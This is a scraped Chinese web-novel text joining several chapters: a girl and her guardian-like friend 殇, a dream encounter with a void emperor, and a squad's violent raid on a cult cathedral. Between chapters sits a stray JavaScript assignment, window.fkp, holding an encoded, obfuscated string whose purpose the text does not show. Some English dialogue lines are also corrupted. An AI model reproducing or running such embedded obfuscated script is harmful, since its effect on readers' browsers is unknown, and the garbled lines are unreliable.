霓虹灯亮起,街边的行人多了起来。天色渐暗,余晖下的城市愈发明亮。在奶茶店的门口,伊小心翼翼地探出头,左右张望,寻找着殇的身影。找着找着,突然就有一种手轻轻地搭在了她的肩上。她转头看去,发现殇不知不觉就来到了她的身旁。此刻,殇正面带微笑地看着她。虽只有一天未见,但伊还甚是想念。伊露出微笑,轻声对殇说道: “殇。你好呀。” 殇轻拍她的肩,笑着调侃道: “还认识我呢!几天没见着我,是不是都忘了?” 伊闭着眼呲牙笑了笑,接着说道: “嘻嘻......我忘不了你的,殇。” “先别说那么多了,回家吧。” “哦。走吧。” 伊和殇结伴同行,迎着夜色向着家一步一步地走去。在路上,两人笑着聊天,开开玩笑,颇像一对父女。 “你那好朋友叫啥名啊?” “倪汝美?” “哦。小姑娘吧。” “嗯。对。” “还好不是个男的。” “嗯?要是男的你会怎么做啊?” “要是男的,我就给他打死。敢碰你,那是玷污你,那种行为我决不允许!” “要是我以后找男朋友了怎么办啊?” “哈?那得先过了我这关。” “啊?你又不是我爸。” “没事,你现认也赶趟。” “去一边去,殇。哼~我才不认你当爹呢。” “哈哈哈,好了好了,我错了还不行吗。” “殇,你最坏了!” “哈哈哈哈......你才知道吗?” “殇!” ...... 黯淡无光的废墟之中,一团发光的血雾在黑暗中出现。一团致密的虚空,将血雾汇聚在一起,形成了血色的巨大涡旋。其中不时有闪电霹雳,还不时有三两颗血星逸出。雷电怒号,飞星闪烁,虚空正在低语,灵魂正在震颤。无数黑色的锁链拔地而起,连接一座座悬空的岛屿。一块块石碑凭空出现,其上血红色的发光文字正在照耀大地。朦胧之中,一双血气四溢的眼睛出现在虚空的正中央,它正凝视着一切。接下来,是一张长满猩红色利齿的嘴出现在这双眼睛下方,一抹杀气重重的诡笑出现在虚空之中。 一位红头发的女人,站在虚空前的一座小岛上,迷茫地张望着周围。 薇莉莉: “这里是哪里?我刚刚不是在床上睡觉吗?” 轰隆几声,几道巨大的闪电从虚空中劈了出来,几块涡旋旁的碎星即刻泯灭。顿时间漫天血星亮起,血色的星河点亮了黑暗。无数颗飞星逸出,星河更加躁动。刷的一下,无数只锐利的眼睛褪去黑暗的伪装,在涡旋旁显露了出来。霎时间,无数只发着血红色光芒的眼睛一起看向了那个外来者,无尽的杀意袭向了那个外来者。 薇莉莉见了,不免有些恐惧。她看向周围,又摸了摸自己身上,发现没有武器能够让她来使用。就在这时,虚空之中传出了一个帝君深沉的声音。 INF-wR-0: “do you feel the call of the void? human.(你感受到虚空的召唤了吗?人类。)” 一个霸气的人类身影出现在虚空之中。血光之下,一位渴望自由的帝君出现在她的面前。一条虚无缥缈的线勾勒出了他的身体轮廓,那是如神明一般的造型。几声霹雳,涡旋开始加速,星空开始躁动。虚空的力量正在运转,混沌的气息正在弥漫。血雾之后的黑暗之中,无数沉睡的将士慢慢苏醒,带着它们那颗沉睡已久的赤诚之心,重拾起兵器为主而战。 INF-wR-0: “You are a beautiful human woman and a powerful warrior. do you want to be stronger? Respond to the call of the void and you will bee a great warrior zero. I will give you strength and make you invincible.(你是一位漂亮的人类女性,也是一位强大的战士。你想变得更加强大吗?回应虚空的召唤,你将成为伟大的零号武士。我将给予你力量,让你所向披靡。)” 薇莉莉: “你在说什么鸟语?” 突然,两个拿着长戟的士兵飞到薇莉莉前方,然后拉起了一个巨大的全息横幅。无垠武士所说的话,一五一十地写在了上面,为了防止薇莉莉看不懂,还用标注了汉语。薇莉莉看了,直摇头,耸耸肩,回答道: “回应虚空的召唤?不要。” 轰隆几声,几道闪电从虚空中劈出。它的身上泛起了红光,虚空之上逐渐有了一个盔甲的轮廓。 INF-wR-0: “why? human.(为什么?人类。)” 薇莉莉: “(一脸不信)天上没有掉馅饼的事。你要是给予了我力量,那么你就会像恶魔一样取走我的灵魂。” INF-wR-0: “No, human. I just appreciate that you, as a weak and inparable organic human, can show extraordinary and powerful skills. At the same time, your soul is worthless to me.(不,人类。我只是单纯欣赏你作为弱小无比的有机人类却能展现出超乎寻常的强大的本领。同时,你的灵魂在我这里一文不值。)” 薇莉莉: “(一脸不信)哈?有这好事?应该是有条件的吧。” INF-wR-0: “No conditions.(没有条件。)” 薇莉莉: “(一脸不信)这不可能的!你一定是类似于恶魔一样的存在。” INF-wR-0: “You will want to e to me this day. Now that you have absorbed my strength to stay here, my strength will help you. when you are in trouble, your core can talk to the void at any time. then, if you e to me again, I will still give you the power of warrior zero. I'll be waiting for you, human.(你会有想主动来找我这这一天的。既然你吸收了我留在这里的力量,那么我的力量将会为你提供帮助。在你有困难的时候,你的核心随时可以与虚空通话。到时候,你再找我我也依旧会给予你零号武士的力量。我会一直等待的你的,人类。)” 一道耀眼的血光过后,周围瞬间变得寒冷许多。熟悉的心痛感出现,她猛地从床上惊坐起。她看了看周围,发现自己还在自己的屋子里。她叹了口气,惊奇地发现自己身上出了很多汗。心痛的感觉让她面目狰狞,熟悉的过程,她吃下了速效药。当来到卫生间照镜子的时候,她发现自己头发又白了一部分,而且又掉头发了。她叹了口气,也是无可奈何。就在她要离去的时候,卫生间的镜子上出现了一只血红色的眼睛,她看向镜子,被吓了一跳。她立马揉了揉眼睛,再次睁开眼,那只血红色的眼睛消失了。见此,她又叹了口气,心情低落地说道: “哎,最近压力大都开始出幻觉了......” 她离开卫生间,正要去阳台抽几根烟缓解下压力。当当当,有人敲门。她走到门前,通过猫眼一看,是披着大衣拿着热茶的星北空。隔着门,星北空用温柔的语气对她关怀道: “姐,又难受了?我给你拿了点水果,吃点也许会好受一点哦。” 她一脸不乐意地叹了口气,然后就去卧室换衣裳。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十五话:抱歉,今天神父不在 两天之后的一个中午,凯莉正在事务所里面无聊地转着一把没开封的匕首。到现在事务所里面还没有人来咨询委托事物,干呆着无聊极了。欧文和韩去打零工了,事务所里就剩个她。一个人怪孤独的,就只能找点事情来消磨消磨时间。转着转着,凯莉就开始犯困。就在她要睡着的时候,嗡的一声,给她瞬间吓醒了。她吓得虎躯一震,手中的匕首直接飞了出去。她紧忙拿起手机去接,以为是什么委托,没想到是殇打来的电话。 凯莉: “(温柔)喂,您好。是凯莉事务所。请问需要我们提供什么服务啊?” 殇: “(笑)呦,凯莉妹子,中午吃了吗?” 凯莉: “(失望)啊?是你啊,我还以为有委托了呢。” 殇: “你做好准备,拿上装备,在我们上次见面的餐馆前与我见面。一单大的来了。” 凯莉: “(点点头)知道了。我们马上去。” 挂断电话后,凯莉的心情很是激动。接下来的行动将关乎她们人生的改变,是成是败,是留下名字还是仍无名于世就全看接下来的行动了。凯莉立即给欧文和韩打了电话,很快她们两个就赶了回来。拿上装备,再拿上未曾用过的各种药剂,她们三个就离开事务所,去与殇汇合。 到了汇合的地点,殇和一支装备精良的小队已经在此地等候多时了。凯莉注意到,这支小队的人均为绿色头发,他们所携带的装备也都是绿色的主色调;他们背甲上有着陆吾的图案,更能凸显出他们身份的不凡。这支小队人不不多,只有十人,但各个都是精英。见到这些全副武装的精英,凯莉顿时觉得自己渺小起来。这时凯莉突然发现,在殇旁边站着的高个子男子的臂甲上有着殇王国的国标,她推测那人很可能是这支小队的队长。 见到凯莉来了,殇赶忙跟凯莉打招呼: “呦!来了,凯莉。等你半天了啊。” 顿时间,所有人的目光都齐聚在凯莉她们三个身上。在这些精英的注视下,她们有些无地自容。她们尬笑着,眼神乱飘,不敢直视众人的目光,心里紧张极了。讷讷半晌,殇旁边的那人问殇: “是她们三个吗?殇。” 殇点点头,说道: “对。她们仨,跟我一起。” 那人打量了凯莉她们三个一番。见此,凯莉三人更加紧张了。在那人眼里,凯莉她们就是一群毫无战斗力的菜鸡。那人问殇: “你确定吗?殇。让这种‘可爱’的人跟着我们去突击。” 殇耸耸肩,指着凯莉说: “你可别低估她们,邱。她们可一点都不菜。” 殇给凯莉使了个眼色,凯莉见了,立马就明白了殇的意思。殇笑着看着凯莉说道: “你说对吧,凯莉小姐?” 凯莉十分紧张地急忙点头,然后欧文和韩也跟着点了点头。邱一脸的怀疑,凯莉见了,有些心虚但很坚定地说道: “我们不弱的!我们可以!” 邱听了,还是有些不放心。他问殇: “真的要带上她们吗?” 殇拍拍邱的肩膀,告诉他: “邱,没关系的。她们跟着我一组行动。” “邱,那怎么能行呢?指挥官先生吩咐我们得......” “不必了。你们就去负责你们的,我和她们三个一组,能够应付过来的。” “好吧。随你意愿。但出了问题,你自己一个人负全责。” “没问题。” 几个小时后...... 下午的阳光格外耀眼,天空中只有几朵云彩,更多的是晴朗的蓝天。大地被阳光炙烤的炎热,站在地面上向远处眺望,能看到热浪滚滚。迎面刮来几阵热风,卷起尘土吹向远方,同时吹来几片孤苦伶仃的小云彩。天空中有几只乌鸦,还有几只小雀和一只翱翔的老鹰。老鹰掠过高空搜寻猎物,用锐利的眼注视着大地上的一切。乌鸦落在枯树上歇息,翘起头找寻死亡与凋零的存在。小雀在空中与同伴嬉戏,享受这个充满生机的季节。 在北城的废墟之中,一座由建筑碎块拼合而成的大教堂上飘扬着宗教旗帜,其中传出了阵阵钟声。挂满宗教旗帜的围墙上,游荡着身着黑色教袍的狂热分子。不时有驯兽师拉着几只异兽在教堂外巡逻,偶尔能听到异兽的低吼声回荡在废墟之中。几团红色的火焰从围墙上的吊灯中燃起,狂热的教徒在此刻兴奋了起来。这时,六位壮汉拉着一个石棺走向了教堂的大门,大门前的守卫见了,赶忙打开门让这六个壮汉进去了。这座教堂是属于黑暗德鲁伊的,是一座充满污秽的圣地。 这一切,邱和殇都通过望远镜看得清清楚楚。邱和殇放下望远镜,讨论了一下接下来的计划。殇觉得应该从正面直接突破,邱听了直摇头,以会造成不必要的伤亡为理由驳掉了这个计划。邱提议,以废墟为掩体慢慢靠近教堂,然后发动闪电袭击。殇觉得这股计划不错,两人达成了一致的意见。 一段时间后...... 一个驯兽师正在领着自己养的异变生物在围墙外游走,突然,他看到废墟之中有人影闪过。但由于那道人影的速度过快,他有些怀疑自己是不是眼花了。他领着那些异兽走向了人影出现的地方,准备一探究竟。到了地方,他发现这里什么东西都没有。他挠了挠头,以为是自己出了幻觉。但就在这时,他领着的异兽发出了一声哀嚎。他转过身去,发现一个绿头发的武装人员用长刀砍杀了他的异兽。他正要高声警告自己的同伴,一把手枪就抵在了他的后脑勺上,然后一枪将他击毙。 韩: “太愚蠢了......” 实则她的心里是这样想的: “欧耶!终于是杀掉了一个目标!这一天我等了很久了。” 在一旁废墟里躲着的殇和欧文对着韩竖了个大拇指,然后等待邱一行人的信号。凯莉的狙击枪瞄到了在围墙上巡逻的一个教徒身上,正准备开枪,一发威力巨大的从另一侧打来,将这个教徒打成了碎末。凯莉转头看去,发现是陆吾小队的狙击手开的枪。凯莉有些不满地撅了撅嘴,然后就去瞄准下一个目标了。在这个教徒死亡的瞬间,陆吾小队全体从废墟中现身。紧随着的,殇、欧文和韩也从废墟中现身。 见到突然出现了这么多敌人,教堂内的教徒立马拿出武器,对着这些敌人发起了猛攻。他们的进攻方式主要以弩箭与枪械为主,以魔法近战为辅。密集的子弹与弩箭袭向了邱他们,邱他们见了,以废墟为掩体进行躲避。陆吾小队的工程师拿出名为“黑寡妇”的特殊无人机。 陆吾小队的工程师: “靠你了,小蜘蛛。” 工程师们将它放在地上,然后拿出控制器进行操控。嘶的一声,高压气体从这些无人机底下喷出,嗖的一下,这些无人机直接飞到了十米多高的高空。在工程师的熟练操纵下,这些无人机在空中瞬间变换角度,直接对准了教堂的楼顶和围墙。工程师们按下开火按钮,一团高压气体喷出,这些小蜘蛛随即加速飞到了教堂的围墙与屋顶上。那些教徒见了,被吓了一大跳。没等教徒们反应,这些小蜘蛛轻轻往下一坐,轰的几声,巨大的爆炸吞没了那些教徒。顷刻间,教堂的围墙与屋顶上就被炸出了许多个大窟窿,从那些窟窿之中冒出了明亮的火光。 陆吾小队的突击队员立马架好枪,用枪上配装的榴弹发射器将一颗颗闪光榴弹打进了那些窟窿之中。教堂内的发出了刺眼的光芒,里面的教徒被这突如其来的闪光给闪的惊慌失措起来。他们三两个地撞在一起,有的还撞到了墙。在这闪光的几下闪烁过后,突击队员和工程师脱离掩体,直接冲向了教堂。 这时几名魔法教徒拿着法杖出现在教堂的围墙与楼顶上,她们用法术召唤出了无数血荆棘,正准备攻击。突然,两颗快速的子弹袭来,直接打死了两名魔法教徒。这两颗子弹一颗是凯莉打的,一颗是陆吾小队的狙击手打的。她们两人瞄准的是同一个目标,所以凯莉打死的其实是一旁的魔法教徒。 凯莉做出欧耶的手势,笑着说道: “太好了!终于做到击杀目标了!” 瞬间,她们就乱了阵脚。紧接着,陆吾小队队员对着她们连开数枪,直接将她们全部击毙。接下来几个拿着连弩的教徒从教堂中冲了出来,随即就是密密麻麻的弩箭飞向陆吾小队。陆吾小队见了,激活胳膊上的力场生成器,生成绿色的能量盾。陆吾小队一边举着盾抵消这些弩箭,一边用手中的枪对着他们射击。几声枪响过后,那些教徒依数被击毙。就在这时,几团赤红色的火球从天空中坠下。邱见了,立马停下脚步。其他队员见了,也跟着停下。邱皱紧眉毛,迅速将核心能量汇聚在右手的五指之间,绿色的闪电随之出现在他的手中。 邱: “雄伟之护,开!” 他张开五指,猛地附身击地。地面随之一颤,发着光绿色的青森阵法出现在地面上。在火球悬于头顶之际,一个巨大绿色护罩在地面上升起,包裹了邱他们周围的大片空间。几声爆炸过后,那些火球的攻击完全被护罩所抵挡下来。邱流了一滴汗,抬头十分警惕地看着天空。这时,更加猛烈的火球攻势裹挟着部分血荆棘袭来。他身旁的队员见了,立即将核心能量汇聚于手掌之中,然后几条绿色的光带出现,源源不断的核心能量涌入邱的体内。有了这些能量的加持,邱升起的护罩完全抵消掉了这些攻击。 与此同时,凯莉和陆吾小队的狙击手对着教堂进行盲狙,通过每个细节的捕捉来确认那些教徒的位置。几枪过去,教堂内见了一丝血光,是击毙了一位教徒。乘胜追击,凯莉和她继续对着教堂猛攻,又是见血光,又是教徒被击毙。 就在两方陷入僵持的时候,废墟之中冒出一道金光,邱他们转身开区,发现一个速度极快的身影拿着一把骑枪冲向了教堂。嗖的一下,这个身影与他们的护罩擦肩而过,直逼教堂。没等所有人反应过来,教堂的一面墙就被这个身影撞出了一个大窟窿。这给在场的所有人都看懵了,他们没法理解眼前发生的一切。 到了教堂里,那个身影一个帅气的落地,惊吓到了教堂里的教徒们。那把骑枪化作无数线条回到了他的核心之中,他的身影此刻清晰起来。他不是别人,正是殇。尘雾伴随着飘来,轻轻地,飘过他的身旁。一道光透过窟窿照在了他的身上,他的身影在那些教徒面前变得伟岸了许多。他掰了掰手指头,拧了拧脖子,对着教堂里的教徒们笑着说道: “疯子们,该吃药了!” 他握紧双拳,下压身体,一个隼之冲刺打出。他拳拳直逼要害,每一拳都打出了十足的分量。清脆的骨骼断裂声回荡在空挡的教堂内,地上多出了几抹血色。他一个自信地回头,伴随的是七八个教徒的倒下。这时,那些教徒反应过来,赶忙进行有序的排布,一群手持各式兵器的教徒随即包围了殇。殇见了,丝毫没有慌张,反而轻蔑一笑。电光火石之间,这些教徒一拥而上,对殇使用了五花八门的攻击方式。殇一个健步一跃而起,直接跳到了教堂的房梁上。那些教徒扑了个空,急忙地张望了一圈,后来集体向上面看去。殇对着底下的教徒竖了个中指,然后猛地从房梁上跳下。在所有教徒的注视下,他一个落地猛冲砸向地面。咚的一下,地面瞬间裂开,强大的冲击震飞这些教徒。殇落地后瞬间调整状态,一个健步冲到其中两个还为落地的教徒面前,一把抓起他们两个,然后转体三周将其中一人扔到教堂的大门上,随后将另一人扔到了躲在远处围观的魔法教徒们的面前。那些魔法教徒见了,吓了一大跳,瞬间就停止了施法。 在教堂外的火球和血荆棘的猛攻突然结束,邱见了收去护罩,带着队员继续逼近教堂。在远处观察的欧文他们见了,立马离开废墟,向着教堂赶去。在路上,欧文和韩夸赞了殇几句。他们两个是亲眼目睹殇像闪电一样冲进教堂的人。 几套组合拳加二连飞踢之后,教堂内的教徒被殇处决了一大半。现存的教徒们见情况不妙,正准备撤向地下室。突然,一团团黑色的烟气从他们身后出现,然后以极快地速度将它们吞噬。殇见了,立马后撤出七八米来。他知道这团烟气的威力究竟有多大;如果是吸入这烟气,人就会变为疯狂的野兽。殇想了一下,这烟气似乎是另一批教徒所释放的。 “哈哈......哈哈哈......呵呵哈哈哈!” 狂妄无比的淫笑声出现在黑色的烟气之中。接着,几双猩红色的眼睛出现在烟气之中。烟气散去,几个变异成怪物的教徒出现在殇的面前。殇摇了摇头,无奈地耸了耸肩。他慢慢地走向了这几个怪物,走姿十分潇洒。那几个怪物见了,张开血盆大口发出了刺耳的吼声,然后张牙舞爪地冲向了殇。其中一个怪物靠近殇后,一个飞扑加爪击招呼了过去。殇一个后撤步躲开,接着一个冲刺拳打了过去,直接一拳给对方打飞了出去。这时,另一个怪物从侧面快速靠近了殇。殇还没站稳脚步,这个怪物的攻击他没法做到无伤躲开。于是,他伸出手,在这个怪物靠近的瞬间生成了Emw-56大理石柱。这个怪物没有躲避,一头撞死在了这根大理石柱上。 此时,其他怪物袭来。殇抓抓住大理石柱,然后连续两个横扫打过去,直接处决了两个怪物,同时还打飞了好几只怪物。一只怪物正面冲向了殇,对着殇狠狠地一爪拍了过去。殇一个后撤步躲开,然后一个健步一跃而起,直接对着他的头一记重扣,当场处决掉他。两只怪物左右包夹,企图用包围战术来打败殇。殇前冲数步躲开,然后抡起大理石柱一个回旋将手中的大理石柱扔了出去,正好在两个怪物撞脸的时候命中。一下子,一石二鸟,同时处决了两个怪物。最后的两个怪物没给殇一刻休息的时机,趁着这个功夫直接从背后去偷袭殇。他们的伎俩,殇早就看破。殇变出Emw-67亚特兰蒂斯,握在手中一个健步跳到房梁上,然后像扔鱼叉一样投出手中的亚特兰蒂斯。其中一个怪物被这一下当场处决,最后仅剩下了一个怪物。那个怪物见到殇在房梁上,对着殇就是一个飞扑。殇见此,一跃下了房梁,然后落到地面与他拉开距离。那个怪物扑了个空,很快就落地了。在这个怪物落地的时候,发现殇在他的视野中消失了。他左顾右盼地张望了一圈,发现教堂里没有殇的身影。突然,他的左腿被一个人抓住了。他还没等回头去看,他就被抡了起来,在空中转了半圈后被扔向了教堂的大门。轰的一声,他重重地砸在了大门上,直接将大门砸开的同时将大门砸坏。 很快,大门外的陆吾小队成员和凯莉她们赶了过来。在看到殇毫发无伤的在遍地教徒尸体的教徒中央站着的时候,所有人的脸上都是难以置信的表情,尤其是凯莉她们。殇见了他们,很自然地挥了挥手,告诉他们: “走吧,我们去地下室处理剩余的残党。” 邱走到殇面前,一脸惊讶地问殇: “殇,你没事......吧?” 殇很自然地回答他: “没事。都是群渣渣,我啥事都没有。” 邱和队员深情对视了一番,眼神之中满是惊讶与吐槽的意向。 邱心想: “怪不得苍白让他来跟我们一起行动......他这战斗力太过于强大了!我今生第一次见到这样的人。说他不是传奇我都不带信的!” 过了一会,邱咳嗽两声,然后对队员吩咐道: “罗兹,马特,你们两个和三个人守在教堂外的废墟里,一旦看着有教徒从教堂里逃出,当场击毙。。” 罗兹和马特做出军礼,回应道: “明白!长官。” 邱继续吩咐道: “赵玉莲,你和剩下的人跟我来,我们去突击地下区域。” 赵玉莲做出军礼,回应道: “明白!长官。” 邱转身,从背上拿出一个圆筒状高科技装置,然后附身将其插在了地面上。起身后,邱对殇说: “走吧,我们去突击地下区域!” 殇点了点头,叫上了凯莉他们,然后向着教堂的地下室赶去。邱他们走在前面,殇他们在后面跟着。见到队长进了地下室,马特他们立刻离开教堂。在走到了教堂外七八米处的时候,马特停下了。他转过身去,用义眼激活了那个圆筒状高科技装置,接着低声命令道: “A协议II型,激活!” 话音刚落,这个装置即刻展开,一头凶神恶煞的全息金龙随即出现在装置上方。金龙咆哮了一声,然后开始缓慢闪烁。片刻的闪烁过后,金龙瞬间消失,然后无数的全息封锁线出现,在所有能算作出口的地方拉了起来;一道巨大的能量力场出现,包裹了整座教堂,让任何人员都无法逃离教堂。强大的力场震慑着周围的一切,连同一粒灰尘都无不禁在颤抖。靠近力场的一切,都将在强大能量的灼烧下化作灰烬。在这个力场内的一条警戒带上,有着龙辉神匠的标志。 刚到地下区域没多久,殇他们就遇到了两扇门,一左一右。殇他们走到这些门前,仔细地打量了一番,寻思着那扇门是通往正确的道路。就在他们思考之际,突然,一排锐利的尖刺从屋子的另一侧地板上升起,然后第二排尖刺出现,接着是第三排......尖刺以极快地速度靠近殇他们。殇见了,察觉到不妙,立即对着所有人喊道: “不好!快进门!” 没多少时间犹豫,殇他们直接推开面前的门头也不回地走了进去。凯莉她们紧紧地跟着殇的身后,因此跟殇走到了一起。邱的队员紧紧地跟着邱,所以他们走到了一起。现在殇他们的队伍分为了两批人,一批是殇、凯莉、欧文和韩,一批是邱和他的队员。殇想要开门去看情况,却惊讶地发现门被锁上了。殇叹了口气,对身后的凯莉三人说: “看来,得分开行动了。你们三个跟好我,注意点安全。” 现在队伍被一分为二,殇他们也只好分开行动了。 沿着狭长的走廊前进,慢慢地走进了教堂下庞大的地宫之中。在地宫中穿行,里面的一切无不令人感到紧张与害怕。阴风在地宫内呼啸,压抑的气氛笼罩在这里,死亡与凋零的气味十分刺鼻,阴霾在这里肆虐。用人骨做成的吊灯上的白蜡上燃着红色的火焰,暗淡的光芒将地宫的每个角落染成了血红色。深灰色的地砖上有着些许裂缝与刀痕,有的沾染了鲜血与蜡滴。地宫内有着整齐的柱子结构,在每两个柱子之间的墙壁上,总是能看到诡异的人骨制品与宗教旗帜,不由得看出,这里是心毒的温床。 在暗淡的血光中行走,不时看到令人毛骨悚然的人骨制品,有时听到吊灯摇摆时的“吱吱声”,再加上吸上几口阴霾与阴气,这可以称得上是一趟地狱之行了。殇是没有一丝害怕,倒是凯莉她们三个,已经吓得彼此相贴着行走了。她们一刻都不敢远离殇,她们不安地环视四周,就怕从黑暗之中冲出一只怪物。殇见她们这样,安慰她们几句,来给她们壮壮胆。 “喂!别吓成这样,这都是在唬你们呢。你们不是想摆脱‘窝囊废’的名号吗?那就别害怕这些,真正的传奇是不惧怕死亡的。还有,欧文,你作为一个男人,与两个女人抱团取暖合适吗?” 欧文听了,羞涩感一下子涌上心头,脸一下子就红了。他立马左挪几步与凯莉和韩分开,连忙点头对殇说: “大哥所言极是!作为男人,我不能表现得如此懦弱。” 他拿出手枪和匕首,给自己打打气,让自己勇敢了一些。就在这时,一个拿着匕首的教徒突然从凯莉她们的背后袭来。他见了,瞬间瞄准射击,直接一枪击毙了对方。这一下他的汗给都吓出来了,他喘着气,看着面前倒地的教徒,本能地又补了一枪。在他惊魂未定的时候,殇拍了拍他的肩膀,笑着对他说: “这样才像个男人吗!” 欧文听了,微笑着点了点头,他此刻更加自信与勇敢了。这时前后两边都出现了教徒的身影,教徒们想要通过左右包夹来全歼殇他们。欧文见了,二话没说,直接对着面前的教徒连开数枪。当场击毙三个教徒,但其余的通过左右横移躲开了他的子弹。到了近身的位置,他瞬间抽出匕首,一个反手突刺刺中其中一个教徒的脖子,然后对着这个教徒连开两枪将其击毙。此时一个教徒发动了侧面袭击,欧文来不及躲避,正要抽枪射击,殇突然一个冲刺拳将这个教徒打飞了出去。欧文看着殇,很感激地对他感谢道: “谢谢,殇。” 殇伸出手,与他碰了个拳,以示认可。接着,更多的教徒袭来,殇和欧文瞬间改变状态,正面迎敌。 同时,韩见到教徒迎面袭来,一把将凯莉推开,然后后撤步躲开教徒的攻击。在教徒攻击打空后停歇的那一刻,韩鼓起勇气,用手中的带刃单柺对着这名教徒的后背狠狠地一劈,当场处决掉了这名教徒。更多的教徒此时袭来,凯莉见了,立马举枪射击。连续三枪过后,除了她瞄准的那名教徒以外的三名教徒被她直接击毙。那教徒很快靠近了凯莉,但没等他攻击凯莉,他就被韩给击毙了。凯莉看向韩,她冲着韩露出感激的笑,并对着韩竖起了大拇指。韩有些不好意思地挠了挠头,她也对着凯莉露出笑容。这时,更多的教徒袭来。韩和凯莉瞬间收起笑容,立刻进入到了战斗时的严肃状态。在与这些教徒战斗的时候,殇逐渐发现了凯莉身上的特异点。 一段时间后...... 一扇紧锁着的大门被两位教徒的撞开,殇一个冲刺来到门后,先行用一套隼家拳法处决了门后的八位教徒。紧接着,凯莉她们跟了上来。门后是地宫内最大的房间,一个充满邪恶与疯狂气息的邪术祭祀区域。区域的中心是一个巨大的黑石圆台,圆台上放着许多的人类头骨与奇异的红色晶石。圆台周围是八个环绕着中心圆台整齐摆放的镀金祭台,每个祭台上都放着一大瓶血。祭祀区域的四角是四根黑石柱子,每根柱子的柱身上都有一具木十字架固定且面向圆台的都市猎人的尸体,每根柱子的柱顶上都有一个燃着红色火焰的火炬台。在祭祀区域的地面上,有着一个巨大的诡异法阵,其颜色是暗淡的血红色,貌似是用血画出来的。十六位魔法教徒在祭祀区域内准备着接下来的仪式,一位身着华丽教袍的主教正在圆台旁念诵着诡异的咒语。 似乎是殇他们的来访打断了他们的准备,那些教徒和主教一起愤怒地瞪着殇他们。主教低着头说了几句话,然后那些魔法教徒点了点头,接着举起双手,激活了祭祀仪式。顿时间,血色阵法上血光四溢,整个房间变得明亮了起来。主教慢慢地走到了祭祀区域外,然后对着天花板高呼道: “主最虔诚的卫兵啊!请前来消灭这些入侵者。” 话音刚落,两个由各种人缝合在一起的怪物从天而降,一左一右地站在主教旁。这时,主教将手伸进教袍之中,从自己的身体里抽出了一把锐利的黑色生物大刀。主教对着天正要说些什么,一发子弹就贯穿了他的身躯,主教痛苦地挣扎了一会,然后跪倒在地上。此时,邱他们的身影出现在区域的左边。 邱: “没事吧,各位!” 殇: “没事!你咋现在才来?” 邱: “路上遇到点问题,来晚了一会。不过这不会阻止我们肃清这群疯狂的驱虫!” 这时,主教的身体突然开始颤抖,同时那两个缝合怪物也跟着开始颤抖。突然,一团黑中带紫的特殊物质从天而降,直接落到了主教的身上。这团物质很快被主教吸收。很快,主教活了过来,他站起身来对着天花板嚎叫了一声,同时惊呼道: “是教皇的力量!是教皇的力量!” 说完这句话之后,主教的后背突然长出了一对黑色的巨型手臂,同时主教的样子愈发扭曲与恶心。见到这种情况,邱他们立刻对着主教开火。没想到,那两个缝合怪物竟然挡在主教旁边,为他抵挡子弹。殇见了一个冲刺拳打了过去,但是突然出现了一道红色屏障挡掉了他的攻击,并将他击退到原来的位置。凯莉她们见了,抬起枪进行射击,但都被这红色屏障所阻挡。 邱他们的一轮射击过后,这两个缝合怪物变小了整整一圈。邱他们见了,正准备开始第二轮射击,突然那两个缝合怪物挥舞着利爪就向他们那里冲了过去。由于地形限制,邱他们没法灵活移动,只能通过原路返回的方式来躲避这两只怪物的疯狂攻击。转眼间,场上只剩下了殇和凯莉她们。 已经变作怪物的主教对着殇他们笑了笑,然后用扭曲的声音对他们: “康帝大人给予了我至高无上的力量,让我这个下级司教有了更强的力量!接下来,你们将会沦为神的粮食!伟大的主啊!我将为了你而战!” 主教的语气之中带有十足的疯狂与狂妄,那个所谓的主已经蛊惑了他的心灵,让他成了傀儡。面对如此疯狂的敌人,殇只是摇摇头,对着主教竖起了中指,以此来激怒主教。主教见了,怒吼了一声。两把由骨头与腐肉组合而成的大剑慢慢从地面钻了出来,然后被主教背后的两只大手紧紧地握住。殇见了,对身后的凯莉三人说: “一会随意应变,这个家伙可不好对付。” 主教伸出手,将红色屏障化作保护罩,罩在了身后的祭祀仪器上。接下来,战斗正式开始了。主教一个冲刺来到殇面前,一刀挥出,殇一个前冲踢腿在躲开这一击的同时狠狠地踢了主教的脸一脚。主教身体后仰,踉跄了一下。殇抓住机会,拳脚齐用,一顿连打将主教打退了半米。主教缓过劲来,对着殇一顿横扫加劈砍。殇用灵活的身法躲开。此时韩和欧文抓准时机,对着主教的后背连开数枪。主教吃痛,转身横扫招呼了过去。欧文和韩见势躲开,与主教来开了很大的距离。主教见形势不对,立马用仰天长啸的方式召唤出了四位傀儡师教徒,接着挥舞着双刀就去追击欧文。 在一旁的凯莉一直对着主教开火,可是一发子弹都没打中主教。在傀儡师教徒出现后,许多由尸骸做成的傀儡就上前去干扰殇他们的战斗。傀儡师教徒们都躲在了各自的傀儡后面,本以为着可以在暗处放阴枪,但是几发穿傀儡而过的子弹让他们打消了这个想打。傀儡师教徒试着换位置躲避,但那子弹能预判到他们的移动,他们走到哪里子弹就精准射向哪里。没一会,这些傀儡师教徒都一一倒下了,那些前来干扰的傀儡也随之倒下。在一旁打光了两个弹匣的凯莉很纳闷,自己明明瞄准的是主教,为什么一旁的傀儡和傀儡师教徒死了呢?她百思不得其解。因为在战斗,所以她也没过多去想,只是默默地瞄准主教进行精致射击。 主教的攻击目标在殇、欧文和韩之间轮流切换,他挥舞着的双刀不知道该去砍谁,谁能被砍中。殇和欧文以及韩用出了“遛狗战术”,让主教一时不知道该去攻击谁,一直陷入无意义的胡乱攻击之中。打了有一分多钟了,主教瞬间醒悟了,他将目标牢牢地锁定在了欧文身上,无论遭受殇和韩怎样的攻击,他始终追着欧文砍。见到主教学聪明了,殇立即改变了战术。欧文一直躲避主教的攻击,他的身法没像殇一样高超,因此被刀锋剐到了好几次。韩在一旁对着主教猛烈攻击,但主教没有去理会她。任凭她怎样攻击,就是打光了子弹,主教也没去理会她。过了一段时间,欧文身上的衣服就被血给染红了。欧文被逼近了死角,已经无路可退了。主教举起大刀,对着欧文狠狠地劈下。欧文闭上眼睛,将手挡在自己身前,心里害怕极了。 